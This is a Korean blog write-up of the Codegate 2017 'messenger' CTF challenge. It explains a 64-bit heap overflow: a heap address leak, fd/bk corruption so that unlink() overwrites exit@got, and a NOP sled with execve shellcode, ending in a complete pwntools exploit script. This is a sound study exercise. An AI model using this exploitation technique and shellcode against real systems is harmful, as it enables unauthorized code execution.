본문 바로가기

공부는 계속 ../Pwnable Writeup

Codegate 2017 messenger

messenger

test.py


ezhp 과 비슷한 문제라길래 풀어본다. 64비트인거 빼고 완전 똑같다고 보면된다.


다만 다른점은 힙을 2개밖에 할당할 수 밖에 없고 그 사이즈 또한 32바이트로 제한되어있다.


실험) 2개의 메시지를 임의로 생성하고 "A*31", "B*31" 를 입력한 모습 ([heap]에 실행권한도 있음) 뒤에 \x0a 개행이 붙은것을 확인 가능


힙 메모리를 보니 malloc_chunk에 힙 메모리 주소가 적혀있는 것을 확인할 수 있다.



구조를 좀 생각해보면.. 


힙 주소가 시작하는 부분부터 한 개의 chunk : | 8byte : ? | | 8byte : size | | 8byte : fㄱ

d | | 8byte : bk | | 32byte : data | | 8byte : ? |


힙 주소도 막 적혀있고 그러는데... 이러면 힙 주소 leak 도 쉽게 될것 같아 보이네..


일단 힙 시작 주소는 매번 바뀌니 이 값을 얻어와야 한다. 


여러군데 있는 것 중 하나를 고르자..


A를 56개를 넣고 [V]iew message 를 하면 7칸이면.. 0x603068 주소의 값이 leak 될지어니.. 이 값은 0x6030a8로 다음 힙 주소를 가리킨다.

(쉽게 생각하면 요기는 두 번째 청크의 fd값임)


여기서 -a8 을 하면 heap 시작 주소를 획득할 수 있다! (B 55개 넣어주면.. 주소가 leak 됨)




자 그런다음 unlink() 를 하기 위해 2번째 청크의 fd, bk 를 조작한다.


unlink()를 진행하면 bk+8 = fd , fd+16 = bk 로 fd, bk 가 조작된다.

(참고로 이 문제나 ezhp 문제는 prev_size 플래그 값에 상관없이 걍 free하면 다 unlink()가 불림 - 바이너리 분석하면 쉽게 암)


그럼 fd에는 exit@got-12 를, bk에는 leak_heap+0xa8 을 넣어줌 


이제 leak_heap+0xa8(0x6030a8) 에 쉘코드를 넣어주면 끝!!


마지막으로 명심해야할건 fd+16 = bk 가 되서 got를 변경했다고 하더라도 bk+8 에 fd 값이 들어가므로


이걸 주의해서 오버플로로 덮어줘야 한다는 사실 잊지말길.. ezhp 에서도 그렇게 했다.


<시나리오를 짜면 다음과 같다>


1. [L]eave message 를 통해 힙 청크를 2개 한다.


2.  First Overflow : [C]ange message 를 통해 두 번째 청크의 prev_size 와 size 까지 덮는다.

-> 그럼 2번째 청크의 fd까지 출력이 될지언데, 여기서 일정 사이즈(0xa8) 만큼 빼주면 ...heap 시작 주소를 구할 수 있음


3. Second Overflow :  [C]ange message 를 통해 두 번째 청크의 fd, bk 를 exit@got-12, heap_ptr+0xa8 로 바꿈


4. [R]emove message 를 통해 두 번째 청크를 해제 시킴 : 자동으로 unlink() 불림


5. Third Overflow :  [C]ange message 를 통해 "\x90"*500 + shellcode 로 다 덮어버림


<Exploit>


leak 하는 과정에서 View(0) 를 에서 recvuntil("\n")을 두번 한 이유는 puts가 메세지를 뿌려주는데 개행으로 갈려서 2번뿌려주기 때문이고 또 주소를 뿌리는 과정에서 \x00 널까지 출력하므로 ljust(8,"\x00") 을 통해서 64비트 주소형식을 만들어줘야함!


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# !/usr/bin/env python
 
from pwn import *
 
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
elf = ELF("./messenger")
exit_got = elf.got["exit"]
 
def Menu(index):
    s.recvuntil(">>")
    s.sendline(str(index))
 
def Leave(size, payload):
    Menu('L')
    s.recvuntil("size : ")
    s.sendline(str(size))
    s.recvuntil("msg : ")
    s.sendline(payload)
 
def Remove(index):
    Menu('R')
    s.recvuntil("index : ")
    s.sendline(str(index))
 
def Change(index, size, payload):
    Menu('C')
    s.recvuntil("index : ")
    s.sendline(str(index))
    s.recvuntil("size : ")
    s.sendline(str(size))
    s.recvuntil("msg : ")
    s.sendline(payload)
 
def View(index):
    Menu('V')
    s.recvuntil("index : ")
    s.sendline(str(index))
 
if __name__ == "__main__":
    s = process("./messenger")
 
    Leave(32"A"*31)
    Leave(32"A"*31)
 
    payload = "BBBB"*14
    Change(01000 ,payload[:-1])
 
    View(0)
    s.recvuntil("\n")
    heap_ptr = u64(s.recvuntil("\n")[:-1].ljust(8,"\x00")) - 0xa8
    log.info("heap_ptr      : "+str(hex(heap_ptr)))
 
    payload = "B"*56
    payload += p64(exit_got - 0x10)    # exit_got()
    payload += p64(heap_ptr + 0xa8)
    Change(01000, payload)
    Remove(1)
 
    payload = "\x90"*500
    payload += shellcode
    Change(01000, payload)
 
    s.recvuntil(">>")
    s.sendline()
    s.interactive()
 
cs

 




'공부는 계속 .. > Pwnable Writeup' 카테고리의 다른 글

defcon 2014 Baby_first_heap  (0) 2018.03.14
heap 문제 풀이 목록  (0) 2018.03.13
Plaid CTF 2014 ezhp  (0) 2018.03.01
Protostar heap3  (0) 2018.02.27
Double Free Bug  (0) 2018.02.23